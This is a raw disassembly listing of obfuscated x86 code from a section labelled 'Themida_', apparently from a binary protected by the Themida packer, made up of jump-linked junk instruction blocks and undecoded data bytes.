		dd 5966E800h, 9CE95166h, 33FFFF8Fh, 0EFE9243Ch,	81FFFF9Dh
		dd 4ECh, 16D4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549E22:				; CODE XREF: Themida_:0054E609j
		shl	edi, 4
		jmp	loc_54D20F
; ---------------------------------------------------------------------------

loc_549E2A:				; CODE XREF: Themida_:005421F0j
		mov	[esp], eax
		mov	eax, 6B185017h
		jmp	loc_543AC1
; ---------------------------------------------------------------------------

loc_549E37:				; CODE XREF: Themida_:00548CF6j
		pop	eax
		jmp	loc_5507EB
; ---------------------------------------------------------------------------
		db 55h,	87h, 2Ch
		dd 0E9D5F724h, 2142h, 0E95FF801h, 0C98h
; ---------------------------------------------------------------------------

loc_549E50:				; CODE XREF: Themida_:00552B7Bj
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_54FF8F
; ---------------------------------------------------------------------------

loc_549E5F:				; CODE XREF: Themida_:00551AB8j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_546C90
; ---------------------------------------------------------------------------
		dd 20E9FE87h, 8BFFFFF1h, 8956240Ch, 4C681E6h, 81000000h
		dd 4C6h, 24348700h, 8BD8295Ch, 0C483241Ch, 3C506804h, 3C890000h
		dd 230BBF24h, 0C7816605h, 0D00408F6h, 10E9FB01h, 8BFFFFA3h
		dd 0E4682424h, 89000060h, 0FF5A240Ch, 81592434h, 4C4h
		dd 7C55E900h, 0EC81FFFFh, 4, 0E9243489h, 0FFFF8A29h, 0A2E95158h
		dd 5EFFFF85h, 348B585Fh, 0E3895324h, 4C381h, 0C3830000h
		dd 241C8704h, 0B6A4E9h
		db 0
; ---------------------------------------------------------------------------

loc_549EF9:				; CODE XREF: Themida_:00544EB8j
		add	edx, 52D7471Fh
		jmp	loc_54653F
; ---------------------------------------------------------------------------

loc_549F04:				; CODE XREF: Themida_:0055263Cj
		xor	edi, [esp]
		jmp	loc_54C45C
; ---------------------------------------------------------------------------

loc_549F0C:				; CODE XREF: Themida_:005528C9j
		pop	edx
		sub	dword ptr [esp+8], 2F2F5B7Bh
		sub	[esp+8], edx
		add	dword ptr [esp+8], 2F2F5B7Bh
		pop	edx
		sub	dword ptr [esp+4], 39474452h
		add	dword ptr [esp+4], 281F702Ah
		sub	[esp+4], edi
		push	edi
		mov	edi, 281F702Ah
		sub	[esp+8], edi
		pop	edi
		add	dword ptr [esp+4], 39474452h
		push	22DAh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_542282
; ---------------------------------------------------------------------------

loc_549F5E:				; CODE XREF: Themida_:005482D3j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	edx, 4
		jmp	loc_54BB22
; ---------------------------------------------------------------------------
		db 5Ah,	51h, 0B5h
		dd 0B4ED805Dh, 7FF2E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549F82:				; CODE XREF: Themida_:0054B159j
		add	dword ptr [esp], 4
		jmp	loc_54509B
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FF7B8EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549F91:				; CODE XREF: Themida_:0054A129j
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54DAD7
; ---------------------------------------------------------------------------
byte_549FA3	db 66h			; DATA XREF: Themida_:005419E4o
		dd 68240C8Bh, 81Bh, 0E9240C89h,	0FFFFCB68h, 8124348Bh
		dd 4ECh, 240C8900h, 0C181E189h,	4, 0FFD461E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549FCD:				; CODE XREF: Themida_:0054239Dj
		add	ebx, 6E4A41A7h
		add	ebx, edi
		sub	ebx, 6E4A41A7h
		jmp	loc_544D10
; ---------------------------------------------------------------------------

loc_549FE0:				; CODE XREF: Themida_:00553948j
		sub	ecx, 779E0A76h
		push	eax
		mov	eax, 0
		jmp	loc_54328D
; ---------------------------------------------------------------------------

loc_549FF1:				; CODE XREF: Themida_:00542435j
		xor	ebx, eax
		pop	eax
		jmp	loc_54658F
; ---------------------------------------------------------------------------
		db 28h,	0C3h, 51h
		dd 8651E3B1h, 66E92414h, 5D000042h, 8C5FE9h, 241C3100h
		dd 5C241C33h, 57E28952h, 4BFh, 8BFA0100h, 0C481243Ch, 4
		dd 8704C283h, 248B2414h, 33A56824h, 3C890000h, 2474FF24h
		dd 2434FF04h, 0E289525Fh, 4C281h, 0C2830000h, 24148704h
		dd 24048F5Ch, 0FF7AC6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A059:				; CODE XREF: Themida_:00547133j
		pop	ebp
		push	471Ah
		mov	[esp], edx
		push	7FB4h
		mov	[esp], ebp
		mov	ebp, 3EEC48B7h
		inc	ebp
		jmp	loc_551A06
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 31E7h, 0C7815F54h, 4, 4BB53h, 0D7E90000h
		dd 5FFFF7Fh, 0DF8FAD3Fh, 5558C589h, 40242C81h, 8B09F018h
		dd 7DE92414h, 0FF000049h, 56582434h, 0C681E689h, 4, 0FFFAA7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A0BD:				; CODE XREF: Themida_:0054B493j
		add	edx, eax
		jmp	loc_5448D5
; ---------------------------------------------------------------------------
		dd 2DB15166h, 0C8001D04h, 8B661D2Ch
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5509A7
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 0E9240C33h, 0FFFF7D98h
; ---------------------------------------------------------------------------

loc_54A0F8:				; CODE XREF: Themida_:00551310j
		sub	edi, 0C38E03DAh
		mov	ebx, edi
		pop	edi
		or	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	ebp, edi
		xchg	ecx, ebp
		not	ecx
		xchg	ecx, ebp
		push	edi
		push	ebp
		pop	edi
		pop	ebp
		jmp	loc_550318
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 0FFFFC56Ah
; ---------------------------------------------------------------------------

loc_54A124:				; CODE XREF: Themida_:0055590Ej
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_549F91
; ---------------------------------------------------------------------------

loc_54A12E:				; CODE XREF: Themida_:00542788j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		add	esp, 4

loc_54A144:				; CODE XREF: Themida_:00541E56j
		push	4D85h
		jmp	loc_5448E7
; ---------------------------------------------------------------------------
		dw 814Eh
		dd 0A15D57CEh, 0CC01E933h, 0E959FFFFh, 13A9h, 8158C689h
		dd 0DDDFDCEEh, 0AE31E9FFh, 0DE280000h, 5B2434FFh, 4C481h
		dd 0E9500000h, 0FFFFCB48h
; ---------------------------------------------------------------------------

loc_54A180:				; CODE XREF: Themida_:00551891j
		mov	[esp], ebx
		jmp	loc_54F1A2
; ---------------------------------------------------------------------------
		dd 348BF201h, 4C48124h,	68000000h, 1680h, 0E9243C89h, 2B79h
; ---------------------------------------------------------------------------

loc_54A1A0:				; CODE XREF: Themida_:0054E340j
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 3ECAA946h
		sub	esi, ecx
		pop	ecx
		push	esi
		xor	dword ptr [esp], 25F41373h
		pop	ecx
		jmp	loc_54957B
; ---------------------------------------------------------------------------
aAAYsZ		db 'Ðê€êÚ€Ãyé',0Ah
		db '§',0
		db 0
; ---------------------------------------------------------------------------

loc_54A1C9:				; CODE XREF: Themida_:0054661Dj
		mov	dl, cl
		mov	ecx, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_542247
; ---------------------------------------------------------------------------
		dw 554Dh
		dd 5D2414F7h, 57EFF581h, 4D4D0CFAh, 0CBB3C581h,	0D5F7BE87h
		dd 0B123E9h
		db 0
; ---------------------------------------------------------------------------

loc_54A1F5:				; CODE XREF: Themida_:0054D72Aj
		xor	edx, 49141BDDh
		jmp	loc_5425CF
; ---------------------------------------------------------------------------
		dd 48B5A66h, 0E1895124h, 4C181h, 74E90000h, 8100002Ch
		dd 4ECh, 24348900h, 0FFC30BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A221:				; CODE XREF: Themida_:00543136j
		sub	edx, eax
		push	ecx
		mov	ecx, 37375041h
		sub	edx, ecx
		pop	ecx
		mov	eax, [esp]
		push	ecx
		jmp	loc_54CBA4
; ---------------------------------------------------------------------------

loc_54A235:				; CODE XREF: Themida_:00546C28j
		xchg	eax, [esp]
		jmp	loc_551B65
; ---------------------------------------------------------------------------

loc_54A23D:				; CODE XREF: Themida_:00554F1Bj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], bx
		push	ecx
		mov	ch, 93h
		neg	ch
		inc	ch
		jmp	loc_5472F2
; ---------------------------------------------------------------------------
aIHh_		db '\‰,$hH_',0
		align 2
aSkm		db 'ék¬',0
		db 0
; ---------------------------------------------------------------------------

loc_54A25F:				; CODE XREF: Themida_:0054E4F2j
		pop	ebp
		jmp	loc_555EF2
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 18h
		dd 0F71D6173h, 3E3C1D3h, 0E8FCE943h
		db 2 dup(0FFh)
word_54A276	dw 8B66h		; DATA XREF: Themida_:005419A4o
		dd 90E9240Ch, 83000039h, 0C48104C4h, 4,	23BF5750h, 0F7711E38h
		dd 19EF81DFh, 0E91ED79Fh, 5FE5h, 0E2354858h, 890FAC01h
		dd 24048BC6h, 4C481h, 1CE90000h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A2B3:				; CODE XREF: Themida_:00555770j
		push	7932h
		mov	[esp], ebp
		push	ecx
		push	edi
		mov	edi, edx
		mov	ecx, edi
		pop	edi
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55455F
; ---------------------------------------------------------------------------
		dw 2A05h
aHVvsZ		db 'h·vVé^‡',0
		dd 7E95100h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A2E3:				; CODE XREF: Themida_:00542CBBj
		add	esp, 4
		add	bl, 0AAh
		sub	bl, al
		sub	bl, 0AAh
		push	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_553038
; ---------------------------------------------------------------------------
		db 68h
		dd 558h, 0B9240C89h, 32A12F49h,	520BA52h, 0D121676Dh, 0C147E9h
		dd 4B800h, 21E90000h, 540000A5h, 9B53E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A322:				; CODE XREF: Themida_:005499FFj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_553D85
; ---------------------------------------------------------------------------

loc_54A333:				; CODE XREF: Themida_:0055231Bj
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		sub	esi, 4DDC72D2h
		sub	esi, 1FD759EBh
		jmp	loc_54BE06
; ---------------------------------------------------------------------------
		dw 0DB68h
		dd 8900002Ah, 14F72434h, 5AE8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A362:				; CODE XREF: Themida_:00546B02j
		push	1869h
		mov	[esp], ecx
		jmp	loc_54903A
; ---------------------------------------------------------------------------
		db 9
		dd 0E9D15FF9h, 8C25C181h, 0C681A040h, 38762CC9h, 17E9CE01h
		dd 5600000Ah, 4B47DCBEh, 17FDE960h, 81590000h, 4ECh, 24148900h
		dd 662C268h, 0E2C15A37h, 0D0C28104h, 51277970h,	94154FB9h
		dd 59CA0946h, 8904EC83h, 3DE92434h, 8B000034h, 0C4E92424h
		db 61h,	2 dup(0)
byte_54A3C7	db 68h			; DATA XREF: Themida_:00541920o
		dd 1363h, 0FFBC91E9h
		db 0FFh
byte_54A3D1	db 0ACh, 66h, 51h	; DATA XREF: Themida_:00541904o
		dd 6BE9E9B5h, 0B9FFFF7Ch, 0A106982h, 159CE29h, 19B850EEh
		dd 4029AC71h, 522FA735h, 0D221E91Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A3F6:				; CODE XREF: Themida_:0054A723j
		push	esi
		mov	esi, 15415D71h
		shr	esi, 3
		push	6CD8h
		mov	[esp], edi
		mov	edi, 1
		sub	esi, edi
		pop	edi
		xor	esi, 7AD077C6h
		and	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, 0FFFFFFFFh
		not	edx
		push	33C7h
		mov	[esp], ecx
		mov	ecx, 0CF9FF3B4h
		xor	edx, ecx
		jmp	loc_55478C
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0FBh
		db 61h,	2 dup(0)
byte_54A43F	db 66h			; DATA XREF: Themida_:00541968o
		dd 5324048Bh, 9D12E9h, 338E0500h, 0D8011F1Bh, 5AD2E9h
		dd 0E9515800h, 4642h
; ---------------------------------------------------------------------------

loc_54A45C:				; CODE XREF: Themida_:0054691Aj
		add	eax, edi
		pop	edi
		add	eax, 4
		push	eax
		jmp	loc_54225E
; ---------------------------------------------------------------------------
		dw 1CF7h
		dd 0BD555824h, 11074BA3h, 2C8BE801h, 4C48124h, 0C1000000h
		dd 574805E8h, 995FC568h, 0D350E9FAh, 4B8FFFFh, 29000000h
		dd 0C9E958C3h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A49B:				; CODE XREF: Themida_:005525E3j
		mov	edx, 52E04815h
		or	edi, edx
		pop	edx
		or	edi, 6DE54D6Eh
		push	ebp
		jmp	loc_552F8D
; ---------------------------------------------------------------------------

loc_54A4AF:				; CODE XREF: Themida_:00545DA9j
		pop	esp
		push	edi
		mov	edi, 2EB36506h
		shl	edi, 5
		shl	edi, 3
		push	5AEFh
		mov	[esp], edx
		mov	edx, 332377h
		sub	esp, 4
		jmp	loc_551AB4
; ---------------------------------------------------------------------------

loc_54A4D4:				; CODE XREF: Themida_:0054327Aj
		add	esp, 4
		mov	eax, 0DE84C899h
		xor	eax, edx
		mov	edx, [esp]
		jmp	loc_54D51B
; ---------------------------------------------------------------------------
		dw 9DB8h
		dd 0E9630405h, 0FFFFD247h, 72E9F231h, 81000019h, 4C3h
		dd 4BE5600h, 1000000h, 0FF535EF3h, 5B042474h, 5C24048Fh
		dd 41068h, 241C8900h, 420B6850h, 6AE95362h, 0B0000048h
		dd 58C63081h, 2C5AF128h, 51C828E7h, 0FFCD44E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A535:				; CODE XREF: Themida_:0054E077j
		sub	edx, 0DE056100h
		add	edi, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54584C
; ---------------------------------------------------------------------------
		dw 0C868h
		dd 89000079h, 5257241Ch, 295192BAh, 4EC837Eh, 55241489h
		dd 0A6217DBDh, 0BF63E91Fh, 6968FFFFh, 89000052h, 768242Ch
		dd 5D13B272h, 6808E5C1h, 0
		dd 5D242C29h, 0FFFFC581h, 0ED81FFFFh, 26515FDFh, 1ED81h
		dd 0BA520000h, 7A807394h, 216EE281h, 0EC835399h, 0E944E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A5A6:				; CODE XREF: Themida_:005539A2j
		push	4723h
		jmp	loc_544A99
; ---------------------------------------------------------------------------
		dd 34FFF829h, 2434FF24h, 81243C8Bh, 4C4h, 33D9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54A5C6:				; CODE XREF: Themida_:00543560j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5563D9
; ---------------------------------------------------------------------------
		dw 34FFh
aSo		db '$éo|',0
		align 2

loc_54A5E2:				; CODE XREF: Themida_:00553D4Ej
		pop	edx
		add	ebp, ebx
		pop	ebx
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		shr	ecx, 0Bh
		push	ebp
		push	esp
		pop	ebp
		push	edi
		jmp	loc_54CBB1
; ---------------------------------------------------------------------------
		dw 435h
		dd 296E5290h, 24048BC6h, 4C481h, 34870000h, 0BC55E924h
		dd 8F5BFFFFh, 895C2404h, 13E92434h, 8B000002h, 0D3662424h
		dd 0E99C2404h, 0FFFF74E7h, 0F75F5B57h, 31FB31D7h, 81FB31DFh
		dd 0E560DCEBh, 8BD8012Eh, 8957241Ch, 4C781E7h, 0E9000000h
		dd 235Bh, 33242C31h, 248B242Ch,	68F9F724h, 7707h, 81241489h
		dd 4ECh, 24248900h, 0FF91E8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54A67D:				; CODE XREF: Themida_:0054C052j
		sub	esi, ebx
		jmp	loc_550AE6
; ---------------------------------------------------------------------------
		dd 0D188FA88h, 0B25B665Ah, 80C2FEBFh, 5E967F2h,	89FFFFC7h
		dd 9EBB241Ch, 0E9643343h, 0FFFFA4E2h
dword_54A6A4	dd 240C8B66h, 4EC81h, 34890000h, 83E68924h, 0C8904ECh
					; DATA XREF: Themida_:005418F4o
		dd 42ABB924h, 0E98106EAh, 636D5EEDh, 757EBF57h,	0DFF72C81h
		dd 7BA168h, 24148900h, 3A1401BAh, 4BB95162h, 0E9086C33h
		dd 0BCC2h, 4C181h, 48E90000h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54A6EF:				; CODE XREF: Themida_:005434E5j
		pop	ecx
		jmp	loc_555C48
; ---------------------------------------------------------------------------

loc_54A6F5:				; CODE XREF: Themida_:00551258j
		mov	[esp], edx
		push	ecx
		push	26A85211h
		pop	ecx
		sub	ecx, 58AD6A04h
		jmp	loc_548D01
; ---------------------------------------------------------------------------

loc_54A70A:				; CODE XREF: Themida_:00542242j
		mov	ecx, 1E675411h
		mov	edx, 434D508Fh
		xor	edx, ecx
		pop	ecx
		add	edx, 6ABF668Ah
		sub	edx, 15045CD9h
		jmp	loc_54A3F6
; ---------------------------------------------------------------------------
		dd 833F7BBAh, 0E95D522Ch, 0FFFFCCADh
; ---------------------------------------------------------------------------

loc_54A734:				; CODE XREF: Themida_:00548F79j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55515B
; ---------------------------------------------------------------------------

loc_54A745:				; CODE XREF: Themida_:0054ADCBj
		mov	ecx, ebx
		jmp	loc_54F4EF
; ---------------------------------------------------------------------------
		dd 1AF8C381h, 0DE3114ABh, 17E9575Bh, 5DFFFFEDh,	0C8BCE01h
		dd 0A149E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A766:				; CODE XREF: Themida_:005478FAj
		pop	edi
		sub	ebx, edx
		push	dword ptr [esp]
		jmp	loc_54B1E5
; ---------------------------------------------------------------------------

loc_54A771:				; CODE XREF: Themida_:00544172j
		mov	eax, edi
		pop	edi
		jmp	loc_5472CE
; ---------------------------------------------------------------------------

loc_54A779:				; CODE XREF: Themida_:0054C665j
		add	eax, 70BE66D5h
		jmp	loc_54DF3F
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4A385146h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		jmp	loc_544157
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0B5h
		dd 168C265h, 0B5E981D9h, 5B68C265h, 0FFC4DFE9h,	1C9468FFh
		dd 14890000h, 0C0DBB624h, 0E6D003E6h, 0C6FEDEF6h, 0B353DEF6h
		dd 0A5EB80FCh, 0C380E3D0h, 4EBC04Eh, 0F6FFC380h, 84B252D3h
		dd 7FCEE9h, 0C8315B00h,	51CE3559h, 0BDE9671Ch
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A7E3:				; CODE XREF: Themida_:00545B3Cj
		pop	esp
		shr	ecx, 6
		push	19A3h
		mov	[esp], ebx
		xor	dword ptr [esp], 2239792Dh
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_552961
; ---------------------------------------------------------------------------
		dw 0F796h
		dd 814896D6h, 4ECh, 24348900h, 0A471A1BEh, 9556E91Bh, 0F831FFFFh
		dd 0F831C731h, 0CA066805h, 3FC42547h, 0E0C1361Ch, 30BD5507h
		dd 8129D324h, 5F24F6E5h, 1DEE947h, 0A4BE0000h, 0F72D1D01h
		dd 53514ED6h, 195BE9h, 79FEBA00h, 0D30148EDh, 0BF2EE9h
		dd 0E9D30100h, 0FFFFC4D5h
; ---------------------------------------------------------------------------

loc_54A860:				; CODE XREF: Themida_:0054B2A3j
		not	dword ptr [esp]
		pop	ebx
		jmp	loc_554C14
; ---------------------------------------------------------------------------
		db 31h,	0CBh, 0FFh
		dd 50592434h, 0B1FBE9h,	58C13000h, 6859C800h, 769Dh, 81240C89h
		dd 4ECh, 24148900h, 0B56840B2h,	89000010h, 8851241Ch, 59EB88D5h
		dd 88DA8852h, 1C8B5AD5h, 4C48124h, 0FF000000h, 0EEE92434h
		dd 5B0000ADh, 0E9240C87h, 0FFFF7941h
; ---------------------------------------------------------------------------

loc_54A8BC:				; CODE XREF: Themida_:0054C088j
		or	eax, 511F5F41h
		add	eax, 0E86F13E1h
		add	ebx, eax
		pop	eax
		add	ebp, 49DC3ABEh
		add	ebp, ebx
		push	edi
		mov	edi, 45374DC7h
		and	edi, 617C78F4h
		jmp	loc_548862
; ---------------------------------------------------------------------------

loc_54A8E2:				; CODE XREF: Themida_:00554901j
		xor	edx, esi
		not	esi
		xchg	esi, edx
		xor	edx, 495A6304h
		not	edx
		push	edi
		mov	edi, 99739DC8h
		xor	edx, edi
		pop	edi
		sub	ebx, 0B327578h
		sub	ebx, 0A2B301Bh
		add	ebx, edx
		add	ebx, 0A2B301Bh
		push	ebp
		jmp	loc_547253
; ---------------------------------------------------------------------------

loc_54A913:				; CODE XREF: Themida_:005519E2j
		mov	ebx, 4B832B93h
		mov	edi, 4B832B97h
		xor	edi, ebx
		pop	ebx
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_54BC0F
; ---------------------------------------------------------------------------
		dw 8959h
		dd 240C8BC8h, 7BE953h, 0FE890000h, 57D6F75Fh, 0FFFFFFBFh
		dd 0E9FE01FFh, 0FFFFE0FCh
dword_54A950	dd 240C8B66h, 344768h, 24048900h, 0FAF3E954h, 8E2DFFFFh
					; DATA XREF: Themida_:005418A4o
		dd 0E903FB21h, 0FFFFDBCCh, 240C895Ch, 0FFF2F0E9h, 2434FFFFh
		dd 0E9243C8Bh, 9745h
; ---------------------------------------------------------------------------

loc_54A980:				; CODE XREF: Themida_:0054BD4Ej
		xchg	ecx, ebx
		push	6204h
		mov	[esp], esi
		push	4FD2h
		mov	[esp], ebx
		mov	ebx, 63E6354Ah
		push	69A07A00h
		pop	esi
		sub	esi, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_543F17
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 81h
		dd 4C3h, 4C38100h, 87000000h, 248B241Ch, 58C50124h, 2474FF55h
		dd 48F5D04h, 0AD5CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54A9DE:				; CODE XREF: Themida_:005525F5j
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 2C0A467Fh
		sub	dword ptr [esp+4], 22606960h
		mov	eax, [esp]
		push	ecx
		push	esp
		jmp	loc_5475FA
; ---------------------------------------------------------------------------
		dd 61B55166h, 0FFF3FFE9h, 0F5015EFFh, 8124348Bh, 4C4h
		dd 242C8700h, 0E924248Bh, 0FFFFCF60h, 38A8ED81h, 0BBE96F48h
		dd 8100000Eh, 4C4h, 0C5C0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AA32:				; CODE XREF: Themida_:00547E4Bj
		mov	esp, [esp]
		xor	eax, 2FB02922h
		jmp	loc_541BA8
; ---------------------------------------------------------------------------
		db 68h
		dd 67811C35h, 0E924348Bh, 0FFFF8CD8h, 8158C629h, 0F30EA0C6h
		dd 81FE0130h, 0F30EA0EEh, 37685330h, 89000032h,	0B68240Ch
		dd 0E9513963h, 0FFFFD78Eh
; ---------------------------------------------------------------------------

loc_54AA70:				; CODE XREF: Themida_:0054EFC2j
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_54DEF4
; ---------------------------------------------------------------------------
		db 1, 0E9h, 5Dh
		dd 0FFC40FE9h, 4EC83FFh, 0B3241C89h, 7EBC073h, 0E948EB80h
		dd 0A7Fh
; ---------------------------------------------------------------------------

loc_54AA94:				; CODE XREF: Themida_:0054B724j
		push	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_548610
; ---------------------------------------------------------------------------
		db 68h,	66h, 0Dh
		dd 91E90000h, 81000087h, 0C9042444h, 146796Eh, 0E904244Ch
		dd 5206h, 8758C301h, 805C241Ch,	26E96FC3h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AAD3:				; CODE XREF: Themida_:00541F58j
		sub	edx, 1
		push	ebp
		mov	ebp, 0FFFFFFFFh
		add	edx, ebp
		pop	ebp
		push	ebp
		jmp	loc_550CD1
; ---------------------------------------------------------------------------
		dd 2474FF50h, 65E95804h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AAF3:				; CODE XREF: Themida_:00543F4Ej
		mov	dh, 5Bh
		sub	bl, 7Eh
		jmp	loc_5427AC
; ---------------------------------------------------------------------------
byte_54AAFD	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:00541974o
		dd 0FF7A6BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54AB05:				; CODE XREF: Themida_:00542B5Fj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0BA6C9FDCh
		sub	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	eax, 3D662C51h
		add	eax, edx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3D662C51h
		jmp	loc_545706
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 4C2815Ah, 83000000h, 148704C2h, 24248B24h
		dd 0EC81C329h, 4, 53243C89h, 1A0488BBh,	0B19FE940h, 44810000h
		dd 4AC10424h, 2C8B7004h, 4C48124h, 68000000h, 1E68h, 0FFBCCFE9h
		dd 0B85057FFh, 41CE6579h, 0B258ABBFh, 8BC7013Bh, 54522404h
		dd 0BBC7E95Ah, 0E95BFFFFh, 8000h
; ---------------------------------------------------------------------------

loc_54ABA0:				; CODE XREF: Themida_:0054F366j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54B9AA
; ---------------------------------------------------------------------------

loc_54ABAE:				; CODE XREF: Themida_:005443A7j
		xor	edx, 76F710AEh
		add	ebp, edx
		pop	edx
		sub	ebp, 47923F97h
		add	ebp, edi
		add	ebp, 47923F97h
		sub	ebp, 59C233Fh
		pop	edi
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54D6E0
; ---------------------------------------------------------------------------
		dd 508E0C1h, 0B0AA9804h, 2220C681h, 0C60167D8h,	5DC6E9h
		db 0
; ---------------------------------------------------------------------------

loc_54ABF5:				; CODE XREF: Themida_:0054F79Aj
		mov	ebx, 1AE32C85h
		shl	ebx, 3
		jmp	loc_554F82
; ---------------------------------------------------------------------------
		dw 7768h
		dd 0E9000025h, 2133h
dword_54AC0C	dd 240C8B66h, 82F7E951h, 0EC830000h, 241C8904h,	314EABBh
					; DATA XREF: Themida_:00541940o
		dd 8BDA8973h, 0C481241Ch, 4, 0C105EAC1h, 79E905E2h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54AC37:				; CODE XREF: Themida_:00552CF4j
		mov	eax, [esp]
		jmp	loc_545C10
; ---------------------------------------------------------------------------

loc_54AC3F:				; CODE XREF: Themida_:0054F868j
		shl	al, 1
		and	al, 0A6h
		inc	al
		push	bx
		jmp	loc_5432CF
; ---------------------------------------------------------------------------
		dd 0C581DD01h, 3B133A03h, 0E5E9815Bh, 0E95EF371h, 8B54h
		dd 15FFA01h, 0FDEA81C2h, 810E0D29h, 4ECh, 241C8900h, 0A602E5BBh
		dd 7EBC15Ah, 77FF68h, 24348900h, 0FFFFFFBEh, 0A0EB81FFh
		dd 290D0F31h, 0A0C381F3h, 8B0D0F31h, 0C4832434h, 0F3814304h
		dd 770718Ah, 0D078EB81h, 0DA01E810h, 0BA4CE95Bh, 0C4810000h
		dd 4, 24048B55h, 0E904C483h, 0FFFF8665h
; ---------------------------------------------------------------------------

loc_54ACC4:				; CODE XREF: Themida_:00549035j
		add	esi, 25B3056Dh
		add	esi, ecx
		sub	esi, 25B3056Dh
		sub	esi, 408A06BBh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55279B
; ---------------------------------------------------------------------------
		db 50h
		dd 88DBB551h, 0E03459E8h, 48BC688h, 4C48324h, 1C8BDE28h
		dd 3FE95224h, 0F7FFFF9Bh, 240C87D1h, 92B8505Bh,	480B2035h
		dd 9B0F7D25h, 496B0534h, 632D588Dh, 550CB428h, 0E76E9h
		db 0
; ---------------------------------------------------------------------------

loc_54AD21:				; CODE XREF: Themida_:0055676Ej
		mov	eax, [esp]
		add	esp, 4
		dec	eax
		shr	eax, 6
		sub	eax, 0D0A89619h
		mov	esi, eax
		pop	eax
		xor	edx, esi
		pop	esi
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54B67B
; ---------------------------------------------------------------------------
